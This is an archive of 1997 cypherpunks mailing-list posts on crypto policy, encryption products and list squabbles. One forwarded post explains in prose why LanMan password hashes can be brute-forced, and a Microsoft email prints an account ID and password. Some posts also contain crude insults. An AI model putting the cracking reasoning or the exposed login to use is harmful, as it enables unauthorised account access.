Message-ID: <01BC45CF.1E139D40@crecy.ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain




> >Nothing personal. I just get tired of hearing about "story angles" and
> >"columns." Frankly, the only people I want to communicate with are those
> >who take the time to read this and related lists....the sheeple who read
> >about the Net in Time and Newsweek and their ilk are not worth
> >communicating with. They will be spaded under.
> 
> But what if Declan were writing for the Economist...


I have a lot more respect for Duncan's style than certain Economist articles.

A case in point was a little hatchet job some journo-hack did on Sorros' piece on the open society in the Atlantic monthly. I consider that Sorros has demopnstrated empirically a knowledge of markets that few economists and no journalists can claim to match yet the economist decided to have a go at him.

In any case since the piece was principally about political philosophy the Economist interpretation was plain wrong. 

	Phill  




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Thu, 10 Apr 1997 13:16:29 -0700 (PDT)
To: cypherpunks <cypherpunks@toad.com
Subject: Re: [NTSEC] GOOD GRIEF! re:Hack' punches hole in Microsoft NT s (fwd)
Message-ID: <Pine.SUN.3.91.970410161833.29636C-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain




=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If  you're  gonna die,  die  with your|./|\.
..\|/..|sunder@sundernet.com|boots on;  If you're  gonna  try,  just |/\|/\
<--*-->| ------------------ |stick around; Gonna cry? Just move along|\/|\/
../|\..| "A toast to Odin,  |you're gonna die, you're gonna die!"    |.\|/.
.+.v.+.|God of screwdrivers"|  --Iron Maiden "Die With Your Boots on"|.....
======================== http://www.sundernet.com =========================
  For with those which eternal lie, with strange eons even death may die.


---------- Forwarded message ----------
Date: Thu, 10 Apr 1997 18:10:04 +0000
From: Alan C. Ramsbottom <acr@als.co.uk>
To: Jos Visser <josv@osp.nl>
Cc: ntsecurity@iss.net
Subject: Re: [NTSEC] GOOD GRIEF! re:Hack' punches hole in Microsoft NT s

> I am currently reviewing the write-up to include the newest 
> relevant information.I had considered the possibility that you could
> brute-force attack the password space. However, the possible number
> of passwords is quite bi. Let us assume that the average password
> contains about 40 bits of information, the entie plausible passowrd
> space then is 2^40 = 1099511627776 possible passwords. Suppose you
> could hash and store 1,000,000 passwords each secondthe brute-force
> approach takes more then 12 days to calculate and requires about
> 16 GB diskspace to store the results (uncompressed).
> 
> Could you please point me the errors in my calculations so I can fix
> the article asap?

Certainly..

Theoretically, for a "complete" brute-force attack on the DES hashes 
we need to consider a 56 bit ( 7 chars x 8 bits) password space. This 
space is the maximum we have to worry about because of the 14 char 
password to two independent 7 char DES keys split. The timing 
overheads of checking both the 8 char hashes during a brute-force 
attack are relatively trivial.

Now the crunch. Theory is fine, but in the real world there are 
constraints on the password space - in reality it gets much 
smaller e.g. 

  1) chars below 0x20 can't be entered in the password dialogue box 

  2) alphas are uppercased prior to being used as DES keys so you 
     can also ignore 0x61 to 0x7A. Correcting the case of any alphas 
     after finding a LanMan password is a quick and relatively 
     trivial task using MD4.

That much is guaranteed even if you (reasonably in 99.99% of cases) 
start throwing away characters that are difficult to quickly enter on 
a keyboard e.g. anything that needs an ALT-0-nnn sequence to enter 
(more or less everything above 0x80 subject to country).

Finally 3-4Gb disks are now relatively inexpensive so the amount of 
diskspace required for a precomputed attack is not much of an 
obstacle. It has been also been suggested that if you are short of 
diskspace you could always keep sequentially sorted sections of the 
precomputed file on a backup tape. Then, as you mention above there 
is compression. 

My main point is that you don't need an exceptionally fast machine or 
impossible amount of disk space. If I can write code to do this then 
you can guarantee that other people have, and that theirs is both 
cleverer and runs faster ;-)

"Greater password complexity" is a good idea for many reasons but 
not much help in this specific case. The LanMan hashes are simply 
far too easy to attack and you should concentrate your defences in 
preventing access to them. 

Finally, we need to put this in proper perspective - this attack and 
the associated IE 3.0 SMB and NTLM problems can EASILY BE AVOIDED 
with a few simple network administration policies.

--Alan--
acr@als.co.uk

PS. Haven't seen my original message turn up on NTSecurity yet so I 
    don't suppose this will.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alec <camcc@abraxis.com>
Date: Thu, 10 Apr 1997 14:15:12 -0700 (PDT)
To: Cypherpunks <cypherpunks@toad.com>
Subject: Re: [PGP-USERS] BestCryp NP
Message-ID: <3.0.1.32.19970410171540.007ec650@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain


>From: GWNapier@aol.com
>Date: Thu, 10 Apr 1997 16:11:41 -0400 (EDT)
>To: pgp-users@rivertown.net
>Resent-Message-ID: <"h3W-hD.A.rVC.jmUTz"@rivertown>
>Reply-To: pgp-users@rivertown.net
>
>To Fred and His Question About BestCrypt NP.  I received this today and
>thought it might be of interest.
>
>>Someone asked on the list about the possibility to transparently access
>>encrypted data on a CD. SFS doesn't allow this, but I yesterday found
>>a software for Windows 95 that does.
>
>>BestCrypt NP costs $115, the home page is www.jetico.sci.fi.
>>They even have our Mr Peter Gutmann on their credits list. BestCrypt
>>supports BlowFish, DES (boo) and GOST, a russian standard with 
>>256bit key. It supports all fixed, removable or networked media,
>>allowing upto 6 "containers" be open simultaneously.
>
>>Although the company seems like Finnish, they don't speak Finnish and
>>I don't get even a discount for telling you this :) Just thought some
>>of you might be interested.
>
>>Jyrki Petsalo





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alec <camcc@abraxis.com>
Date: Thu, 10 Apr 1997 14:19:26 -0700 (PDT)
To: Cypherpunks <cypherpunks@toad.com>
Subject: Pilots saw missile over NY
Message-ID: <3.0.1.32.19970410172005.007efea0@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

April 10, 1997
Web posted at: 9:22 a.m. EDT (1322 GMT) 

ST. PAUL, Minnesota (Reuters) -- Northwest Airlines pilots
reported that they saw what appeared to be a missile or a rocket
over the New York area the evening of March 17, the Saint Paul
Pioneer Press reported Thursday. 

In a copyrighted story, the Pioneer Press reported that
investigators are piecing together tapes of air traffic control radar
recorded the night of the sightings....

http://cnn.com/US/9704/10/missile.reut/index.html 


-----BEGIN PGP SIGNATURE-----
Version: 4.5

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YwRxqta1EKIlM4KtccMAh2XJezw9wNTtPUcStp8fH9EJYG/0kCyhjjE5J4xS5/KD
BR1C0pLjZ1Y=
=nd+d
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 10 Apr 1997 14:23:02 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Cato Institute report on Clinton's sad constitutional record
Message-ID: <v03007808af730ad54c95@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain


>Date: Thu, 10 Apr 1997 16:57:56 -0400
>To: fight-censorship-announce@vorlon.mit.edu
>From: Declan McCullagh <declan@well.com>
>Subject: Cato Institute report on Clinton's sad constitutional record
>Cc:
>Bcc:
>X-Attachments:
>
>In yesterday's mail I found a copy of a Cato Institute policy analysis by
>Tim Lynch called "Dereliction of Duty: The Constitutional Record of
>President Clinton." It's damming. Lynch lays bare Clinton's two-faced,
>arrogant, downright hostile attitude towards civil liberties and, in a
>word, freedom.
>
>Lynch concludes: "If constitutional report cards were handed out to
>presidents, Bill Clinton would certainly receive an F--an appalling grade
>for any president--let alone a former professor of constitutional law."
>I've attached a few excerpts below.
>
>Also, in today's mail came a new book put out by Cato, "The Future of
>Money in the Information Age," edited by James Dorn. I haven't read it
>yet, but it looks promising.
>
>-Declan
>
>-----------------------------
>
>http://www.cato.org/pubs/pas/pa-271es.html
>
>DERELICTION OF DUTY
>The Constitutional Record of President Clinton
>
>by Timothy Lynch
>
>Timothy Lynch is assistant director of the Cato
>Institute's Center for Constitutional Studies.
>
>*********
>
>Executive Summary
>
>President Clinton recently put his hand on the Bible
>and swore an oath to "preserve, protect and defend the
>Constitution of the United States." He took the same
>oath in January 1993. As the president embarks on his
>second term in office, it is an appropriate time to
>review his record thus far to see how well he has
>defended our Constitution.
>
>Although President Clinton has expressed support for
>an "expansive" view of the Constitution and the Bill
>of Rights, he has actually weakened a number of
>fundamental guarantees, including those of free speech
>and the right to trial by jury and that against double
>jeopardy. He has also supported retroactive taxes, gun
>control, and warrantless searches and seizures. The
>president's legal team is constantly pushing for
>judicial rulings that will sanction expansions of
>federal power. The Clinton White House has, for
>example, supported the federalization of health care,
>crime fighting, environmental protection, and
>education. Clinton also claims constitutional
>authority to order military attacks against other
>countries whenever he deems it appropriate. President
>Clinton's record is, in a word, deplorable. If
>constitutional report cards were handed out to
>presidents, he would receive an F.
>
>It is to be hoped that President Clinton will resolve
>to be more conscientious about his constitutional
>responsibilities in his second term. But should his
>dereliction of duty continue, Congress and the Supreme
>Court should stand fast against any constitutional
>transgression. In the present climate, it is vitally
>important for all Americans to understand that the
>Constitution is incapable of enforcing itself. That
>task ultimately rests with the citizenry. If the
>American people demand adherence to the Constitution,
>government officials, including President Clinton,
>will respect the limitations that were wisely placed
>on their power.
>
>*********
>
>
>The Free Speech Clause
>
>The free speech clause of the First Amendment is,
>without a doubt, the most famous provision of the
>American Constitution. Its simple, yet profound,
>command provides: "Congress shall pass no law . . .
>abridging the freedom of speech." The underlying
>principle of the free speech clause is that "each
>person should decide for him or herself the ideas and
>beliefs deserving of expression, consideration, and
>adherence." [9] That principle has been recognized as
>"one of the preeminent rights of Western democratic
>theory, the touchstone of individual liberty." [10]
>The invocation of the free speech guarantee, however,
>is often controversial because it requires the
>government and the citizenry to tolerate the speech
>and writings of unpopular, crude, ignorant, and
>malicious people. Civil libertarians must often remind
>government officials (and others) that if the First
>Amendment only protected the expression of popular and
>agreeable ideas, it would be totally unnecessary since
>those ideas would never be threatened by our
>democratic form of government. Our society's
>commitment to free speech is tested when we encounter
>the expression of ideas that are disagreeable--or even
>offensive.
>
>One would think that President Clinton, a former
>professor of constitutional law, would have a deep
>appreciation for the principle of freedom of speech,
>but his official actions in office show just the
>opposite. The Clinton Justice Department has attempted
>to censor (a) the rights of peaceful protesters; (b)
>the views of priests and doctors; (c) radio,
>television, and the Internet; and (d) truthful
>advertisements for lawful products.
>
>[...]
>
>The Ex Post Facto Clause
>
>The Framers of the Constitution detested the idea of
>retroactive legislation. The Constitution contains two
>specific prohibitions against ex post facto laws:
>Article I, section 9, addresses Congress: "No . . . ex
>post facto Law shall be passed." Article I, section
>10, addresses state officials: "No State shall pass
>any ex post facto Law." The Constitution contains no
>exception to either prohibition. As Professor William
>Winslow Crosskey of the University of Chicago once
>observed, it is evident that ex post facto laws "were
>thoroughly disapproved by the framers of the
>Constitution and intended by them to be completely
>impossible under our system." [44]
>
>Not only has President Clinton failed to defend the
>prohibition of ex post facto laws; he encouraged the
>103rd Congress to violate the prohibition. In the
>summer of 1993 he urged Congress to levy a retroactive
>tax on the American people. Under the president's
>initial budget plan, income, corporate, gift, and
>estate taxes were to be increased retroactively to
>January 1, 1993--20 days before the president assumed
>office. Never before in American history had a tax
>been made retroactive to the time of a prior
>administration.
>
>[...]
>
>The Warrant Clause
>
>The warrant clause of the Fourth Amendment, specifying
>the conditions that must be met before officials may
>search a person's home or seize papers and effects,
>provides: "no [search] Warrants shall issue, but upon
>probable cause, supported by Oath or affirmation, and
>particularly describing the place to be searched, and
>the person or things to be seized." The warrant clause
>protects the citizenry from arbitrary searches by
>requiring law enforcement personnel to obtain judicial
>authorization before they demand entrance to any
>person's home. The Supreme Court described the
>constitutional importance of the warrant application
>process in McDonald v. United States (1948).
>
>The presence of a search warrant serves a high
>function. Absent some grave emergency, the Fourth
>Amendment has interposed a magistrate between the
>citizen and the police. This was done not to shield
>criminals nor to make the home a safe haven for
>illegal activities. It was done so that an objective
>mind might weigh the need to invade that privacy in
>order to enforce the law. The right of privacy was
>deemed too precious to entrust to the discretion of
>those whose job is the detection and the arrest of
>criminals. Power is a heady thing; and history shows
>that the police acting on their own cannot be trusted.
>And so the Constitution requires a magistrate to pass
>on the desires of the police before they violate the
>privacy of the home. [50]
>
>The Clinton administration has repeatedly attempted to
>play down the significance of the warrant clause. In
>fact, President Clinton has asserted the power to
>conduct warrantless searches, warrantless drug testing
>of public school students, and warrantless
>wiretapping.
>
>Warrantless "National Security" Searches
>
>The Clinton administration claims that it can bypass
>the warrant clause for "national security" purposes.
>In July 1994 Deputy Attorney General Jamie S. Gorelick
>told the House Select Committee on Intelligence that
>the president "has inherent authority to conduct
>warrantless searches for foreign intelligence
>purposes." [51] According to Gorelick, the president
>(or his attorney general) need only satisfy himself
>that an American is working in conjunction with a
>foreign power before a search can take place.
>
>[...]
>
>Constitutional Federalism
>
>President Clinton is the first president in American
>history to deny that the Constitution limits the
>powers of the federal government. The Clinton White
>House has sought to federalize health care, crime
>fighting, environmental protection, and education. It
>has also tried to thwart any effort to downsize
>federal agencies and programs. Although the Washington
>press corps has dutifully scrutinized the fledgling
>efforts of the 104th Congress to breathe life into the
>Tenth Amendment of the Constitution, which affirms
>that the federal government has only limited powers,
>the president's efforts to expand federal power have
>received scant attention from a Tenth Amendment
>perspective. By his official conduct as president,
>Clinton has made it clear that he believes there is no
>area of human activity that is beyond the
>redistributive or regulatory reach of the federal
>government and that the state governments essentially
>operate at the sufferance of the national government.
>Such a view contravenes the text, history, and
>structure of our Constitution.
>
>[...]
>
>Conclusion
>
>As his first term of office drew to a close, Bill
>Clinton proclaimed, "One of my highest goals as
>President has been . . . to protect and uphold the
>Constitution." [161] In light of the evidence set
>forth in this study, it seems obvious that that
>statement was simply a platitudinous throwaway line
>that was completely devoid of substance.
>
>Supporters of the Clinton White House can point with
>pride to a handful of presidential actions in defense
>of constitutional rights--such as the signing of the
>Religious Freedom Restoration Act and the Justice
>Department's lawsuit against the Virginia Military
>Institute on behalf of gender equality [162]--but
>those acts were exceptions to the rule. Indeed, some
>constitutionalists and civil liberties attorneys might
>very well claim that this study does not go far enough
>in its criticisms of the Clinton record. [163]
>Although this study is not an exhaustive account of
>every presidential action over the last four years, it
>does present overwhelming evidence that Clinton has
>been derelict in his duty to "protect and preserve"
>our Constitution. If constitutional report cards were
>handed out to presidents, Bill Clinton would certainly
>receive an F--an appalling grade for any
>president--let alone a former professor of
>constitutional law.
>
>Perhaps Clinton will resolve to be more conscientious
>about his constitutional responsibilities in his
>second term. One can only hope that he will. But
>should his dereliction of duty continue, Congress and
>the Supreme Court should stand fast against any
>constitutional transgression.
>
>All three branches of government--executive,
>legislative, and judicial--should strive to be more
>conscientious about meeting the responsibilities that
>have been assigned to them under the Constitution.
>Constitutional violations are frequently temporary,
>isolated events. The most serious constitutional
>violations occur when all three branches conspire to
>expand the bounds of government power. When that
>happens, it becomes very difficult to right the wrong.
>Precedents are extremely important. That is why any
>constitutional transgression by any branch is
>alarming.
>
>The American people should jealously guard their
>liberty and hold all government officials accountable
>when they neglect or disregard the Constitution. Its
>Framers were keenly aware that the ultimate source of
>the Constitution's authority is the consent of the
>people. If the American electorate demands adherence
>to the Bill of Rights and the other provisions of our
>Constitution, government officials will respect the
>constitutional limitations on their power. But, as
>Judge Learned Hand warned many years ago, "Liberty
>lies in the hearts of men and women; [if] it dies
>there, no constitution, no law, no court can save it."
>[164]
>
>###
>
>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Thu, 10 Apr 1997 15:44:30 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Japan E-Commerce Promotion Council on CAs
Message-ID: <v03020947af731c77d8dd@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Mime-Version: 1.0
Date: Thu, 10 Apr 1997 11:44:59 -0700
From: jmuller@brobeck.com (John D. Muller)
Subject: Japan E-Commerce Promotion Council on CAs
To: dcsb@ai.mit.edu
Sender: bounce-dcsb@ai.mit.edu
Precedence: bulk
Reply-To: jmuller@brobeck.com (John D. Muller)

     Press release
     Announcement of Certification Authority Guidelines in Japan
     ----------------------------------------------------------------------
     --
     Full Document
     7th, April, 1997
     Electronic Commerce Promotion Council of Japan


     ----------------------------------------------------------------------
     --


     1. Background

     The Electronic Commerce Promotion Project partially funded by the
     Japanese government was started In late 1995 . The project consists of
     19 test-bed projects which experimentally provide various kinds of
     electronic commerce between consumers and businesses. Currently over
     350 companies participate in the projects and more than 500,000
     consumers are presumed to have join. To foster Electronic Commerce(EC)
     in Japan, and also to support and coordinate these projects, the
     Electronic Commerce Promotion Council of Japan (ECOM) was established
     in early 1996. ECOM has set up 14 Working Groups to study a wide range
     of EC related issues. One of these Working Groups is the Certification
     Authority(CA) Working Group which focuses on the technology, practice,
     and legal environment of CA. One of objectives of this CA Working
     Group is to develop the CA Guidelines. The primary draft of the
     Guidelines was made public in the December 1996.

     2. Objectives of the CA Guidelines

     CA Guidelines provide the foundation for the operation of CAs which
     issue digital certificates. A digital certificate, which
     electronically verifies the identity of business parties during
     network transactions, will play an important role in electronic
     commerce conducted via open networks. Digital certification guarantees
     the security of transaction information transmitted through networks,
     and information transmitted between organizations, within
     organizations and between individuals, by eliminating problems such as
     wiretapping, tampering or repudiation. This fosters the reliance and
     trust required to conduct business.

     3. Structure of the CA Guidelines(Alpha Version)

     (1) Introduction

     This section first defines the basic terminology related to CAs, such
     as public keys, certificates, and revocation of certificates, etc. The
     section then deals with the following subjects concerning public key
     infrastructure, which can be regarded as the technological foundation
     of the guidelines:

     (1) certificate management service for issuance, publication, and
     storage of certificates, services relating to the registration and
     management of personal information, and electronic notary, etc. (2)
     hierarchical structure of CAs; (3) purpose of use and format of
     certificates.

     (2) Management requirements

     As management requirements are important for increasing the
     reliability of CAs, establishment and publication of policies relating
     to certification, requirements needed by organizations, operational
     security requirements, and information disclosure requirements are
     stipulated. Within the policy arena the establishment and presentation
     of provisions concerning the requirements for secure operation of
     equipment and facilities, and of provisions concerning standards for
     issuance of certificates are discussed. This section also stipulates
     that organizational requirements must specify independence, third
     party character and specialization.

     (3) Service requirements

     This section specifies requirements for guaranteeing security relating
     to five services that constitute the certificate management service,
     which is the basic service of CAs: management of the keys of CAs,
     issuance of certificates, registration and publicizing of
     certificates, storage and management of certificates, and revocation
     of certificates. For example, in view of the serious consequences of
     leakage or theft, private keys of CAs must be stored in an independent
     special module with high storage capacity, and in an environment that
     does not allow illegal removal of the storage module. Auditing of
     certificate issuance are also discussed. The personal verification of
     the applicant must be divided into three levels and that personal
     verifications should be conducted according to these levels.

     (4) Facilities and system requirements

     This section specifies that requirements conform to measures
     classified under group A of the "Information Systems Security Measures
     Standards," which were announced by MITI in August 1995 and the
     instruction manual was published by the Information Service Industry
     Association in October 1996. Group A requirements relate to
     information systems that affect people's lives, the property of
     others, privacy and other social elements.

     4. Forthcoming Schedule

     ECOM is requesting that member companies and other relevant parties
     offer their comments regarding this guidelines draft. At the same
     time, the guidelines will be applied to the electronic commerce
     test-bed projects sponsored by MITI ( Ministry of International Trade
     & Industry), with the results of these test operations to be
     incorporated in the guidelines. The final version, based on opinions
     obtained from various sectors, is scheduled to be prepared and
     announced by March 1998.

     More information
     E-mail: tawara@ecom.or.jp
     FAX : +81-3-5531-0068
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
To unsubscribe from the dcsb list, send a letter to: Majordomo@ai.mit.edu
In the body of the message, write:  unsubscribe dcsb
Or, to subscribe,           write:  subscribe dcsb
If you have questions, write to me at Owner-DCSB@ai.mit.edu

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Cynthia H. Brown" <cynthb@sonetis.com>
Date: Thu, 10 Apr 1997 15:40:10 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Reactionaries
In-Reply-To: <v03007800af71dffd47b7@[207.167.93.63]>
Message-ID: <Pine.BSD/.3.91.970410182552.5171A-100000@mrburns.iosphere.net>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 9 Apr 1997, Timothy C. May wrote:

> At 5:55 PM -0400 4/9/97, Alec wrote:
> 
> >At 01:32 PM 4/9/97 -0600, you wrote:
> >|Timothy C. May wrote:
> >|
> >|> Let's not make the Cypherpunks firing squad a circle.
> >|
> >|  Although Tim has been on the rag lately, perhaps this bit
> >|of humor is a sign that his period (pardon the pun) of male
> >|menopause is over.
> >
> >This sort of snide sexist humor has no place here.
> 
> Agreed. Any neutral observer of the Cypherpunks list would have to conclude
> there's a lot of _something_ going on here. Certain posters, whose names
> are well known, seem infatuated with sexual innuendo.

Assuming the source doesn't appear to *believe* that a particular group is
inferior / superior by virtue of genitalia, race, etc.: 

if ($humour eq "distasteful") {
  cat $humour | in_one_ear | out_the_other;
  }
get_on_with_life;

> (And their innuendo is more often than not centered around homosexual themes.)
> 
> Draw your own conclusions. "TruthMonger," for example, seems hung up on--no
> pun intended--frequent repetitions of "bum buddies." Vulis is similarly
> focussed on cocksuckers. Toto, who may or may not be Bubba Rom Dos,
> TruthMonger, etc., based on style, is centered on many of these homosexual
> themes.

Just like pre-schoolers are hung up on bathroom jokes <grin>.

Cynthia
===============================================================
		   Cynthia H. Brown, P.Eng.
E-mail:     cynthb@iosphere.net  | PGP Key:  See Home Page
Home Page:  http://www.iosphere.net/~cynthb/
Junk mail will be ignored in the order in which it is received.

        Klein bottle for rent; enquire within.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 10 Apr 1997 16:22:10 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Reporters, Declan, Columns, Articles, and Angles
In-Reply-To: <01BC45CF.1E139D40@crecy.ai.mit.edu>
Message-ID: <6Twy5D103w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"Phillip M. Hallam-Baker" <hallam@ai.mit.edu> writes:
<doesn't matter what, 3 times>

That's $3 for Sinn F\'ein.  Thank you, Phil.

P.S. Fuck your Queen.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Date: Thu, 10 Apr 1997 16:31:17 -0700 (PDT)
To: "cypherpunks" <cypherpunks@toad.com>
Subject: Re: Checkout the crypto in IE 4.0
Message-ID: <199704102331.TAA11621@life.ai.mit.edu>
MIME-Version: 1.0
Content-Type: multipart/signed; boundary="Boundary..3953.1071713692.multipart/signed"

--Boundary..3953.1071713692.multipart/signed
Content-Type: text/plain
Content-Transfer-Encoding: 7bit


>Maybe people have already noticed but the pre-release IE 4.0 has
 >S/MIME encryption and signatures built in. I'm trying to set it up 
>as we speak.

Just found an even more important cypherpunk feature. It has a
kill file feature for both news and mail. Now if we could just get 
them to put Dimitri in as the default it would be fine.

Phill






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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lynx_User@linux.nycmetro.com
Date: Thu, 10 Apr 1997 17:06:26 -0700 (PDT)
To: cypherpunks@toad.com
Subject: security_1.html
Message-ID: <199704110007.UAA00575@linux.nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain



                             Reuters New Media
                                      
                    [ Yahoo | Write Us | Search | Info ]
                                      
    [ Index | News | World | Biz | Tech | Politic | Sport | Scoreboard |
                            Entertain | Health ]
     _________________________________________________________________
   
   Previous Story: Digital TV Sets Off High-Definition Race
   Next Story: NTT Data, MCI To Start Internet Roaming Service
     _________________________________________________________________
   
   Thursday April 10 10:03 AM EDT 
   
Internet Security Code Said Vulnerable To Hackers

   By David Morgan
   
   ATLANTA - The new security protocol for safeguarding credit-card
   transactions on the Internet may have to change because the underlying
   cryptography is too easy to hack through and too difficult to upgrade,
   an expert says.
   
   Steve Mott, senior vice president of electronic commerce and new
   ventures for MasterCard International, said it could take hackers as
   little as a year to break the industry's standard encryption code,
   which is supposed to render credit-card numbers unreadable to
   outsiders on the Internet's World Wide Web.
   
   For that reason, the consortium of technology companies and creditors
   that has spent two years developing the Secure Electronic Transaction
   (SET) protocol may switch to a faster encryption system called
   Elliptic Curve, which is produced by Certicom Corp.
   
   The first complete version of SET, known as SET 1.0, will be available
   to software makers June 1 with core cryptography provided by RSA Data
   Security, a unit of Security Dynamics Technologies.
   
   "RSA is a very good starting point. But we suspect that in a year or
   two, the Kevin Mitnicks of the world will start to figure out ways to
   hack it," Mott said. Mitnick is one of the most notorious computer
   hackers.
   
   "The only way you scale an RSA is to add a lot more bits. You add a
   lot more bits and it becomes more complex software in terms of the
   interaction of the transaction messages. That's part of what's taken
   SET so long to start with."
   
   MasterCard has been helping put together merchants with its own member
   banks for SET pilot projects in Denmark, Japan, Taiwan, South Africa
   and the United States.
   
   Mott told a news conference at the Internet Commerce Expo that the
   Elliptic Curve encryption system would make a better encryption core.
   In fact, he said it would have been chosen in the first place if
   developers had been known about it.
   
   "It will fit on a chip card. I think its 160 bits equals security to
   1,024 bits of RSA," the credit industry executive said. "We anticipate
   putting it into some SET 1.0 pilots in the very near future this year
   in the U.S."
   
   Copyright, Reuters Ltd. All rights reserved
     _________________________________________________________________
                                      
                 ________________________ ___________ Help
     _________________________________________________________________
   
   Previous Story: Digital TV Sets Off High-Definition Race
   Next Story: NTT Data, MCI To Start Internet Roaming Service
     _________________________________________________________________
   
    [ Index | News | World | Biz | Tech | Politic | Sport | Scoreboard |
                            Entertain | Health ]
     _________________________________________________________________
   
                              Reuters Limited
                                      
                                      
    Questions or Comments




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 10 Apr 1997 18:10:25 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Reactionaries
In-Reply-To: <Pine.BSD/.3.91.970410182552.5171A-100000@mrburns.iosphere.net>
Message-ID: <5k2y5D108w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"Cynthia H. Brown" <cynthb@sonetis.com> writes:

> On Wed, 9 Apr 1997, Timothy C. May wrote:
>
> > (And their innuendo is more often than not centered around homosexual theme
> >
> > Draw your own conclusions. "TruthMonger," for example, seems hung up on--no
> > pun intended--frequent repetitions of "bum buddies." Vulis is similarly
> > focussed on cocksuckers. Toto, who may or may not be Bubba Rom Dos,
> > TruthMonger, etc., based on style, is centered on many of these homosexual
> > themes.
>
> Just like pre-schoolers are hung up on bathroom jokes <grin>.

Hung?

Timmy May claims to have killfiled both myself and Toto. How does he know
what we're writing about? Is he lying again?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Site Builder Network <SBN@Microsoft.com>
Date: Thu, 10 Apr 1997 20:54:39 -0700 (PDT)
To: "'cypherpunks@toad.com>
Subject: Your Site Builder Network Membership!
Message-ID: <c=US%a=_%p=HyperRadix%l=SOPHIA-970411035332Z-194658@sophia.hyperradix.com>
MIME-Version: 1.0
Content-Type: text/plain


Welcome to Site Builder Network - Level 1.

We went to your site(s) and found the Microsoft Internet Explorer logo
and link, so your membership has been upgraded to Level 1.  You now have
access to the Members Only - Level 1 Lounge as well as the Members Only
Download Area.  Please take some time to visit
http://www.microsoft.com/sbnmember/lounges/lounges.asp to see what's in
store for you.  Your ID and password are listed below for your
convenience.

Do you think you qualify for Level 2?  Would you like to?  The reason
your Level 2 registration failed could be one of the following reasons:

You are not using an ActiveX control.
======================================
To find out more about ActiveX, go to our home page at
http://www.microsoft.com/sitebuilder/ and click 'Technologies' at the
top of the page.  Choose 'ActiveX' and you will find all kinds of
ActiveX resources.  Or, download the ActiveX Control Pad from the
download area and add an ActiveX control to your site without a vast
knowledge of html code!  After you have added an ActiveX control and you
are ready to upgrade your membership to Level 2, go back to
http://www.microsoft.com/sbnmember/apply/apply.asp , click 'upgrade your
membership' then enter your ID and password (which are listed below). 
This will bring up your registration information.  Be sure to list the
exact URL where the ActiveX control is located as well as the exact URL
the IE logo is located, and we will check your site again.  In the
meantime, enjoy your Level 1 benefits and we will notify you of your
Level 2 status within 5 days.

You did not register the exact URL
where the ActiveX control is located.
======================================
Our automated system can only check pages, not entire sites.  Please go
back to http://www.microsoft.com/sbnmember/apply/apply.asp , click
'upgrade your membership' then enter your ID and password (which is
listed below).  This will bring up your registration information.  Be
sure to list the exact URL where the ActiveX control is located as well
as the exact URL the IE logo is located, and we will check your site
again.  In the meantime, enjoy your Level 1 benefits and we will notify
you of your Level 2 status within 5 days.

Once again - welcome to Level 1, and enjoy your Site Builder Network
benefits.

The Microsoft Site Builder Network Team

========================================
ID: 643361
Password: WRITECODE
========================================

   Sites Checked:
      www.enter.net.mx
         Result: Connected OK / Link to MS Found / No ActiveX Control
Found




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Ross Wright" <rwright@adnetsol.com>
Date: Thu, 10 Apr 1997 21:54:42 -0700 (PDT)
To: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Re: Reporters, Declan, Columns, Articles, and Angles
Message-ID: <199704110455.VAA03670@adnetsol.adnetsol.com>
MIME-Version: 1.0
Content-Type: text/plain


On or About 10 Apr 97 at 19:09, Dr.Dimitri Vulis KOTM wrote:

> "Phillip M. Hallam-Baker" <hallam@ai.mit.edu> writes:
> <doesn't matter what, 3 times>
> 
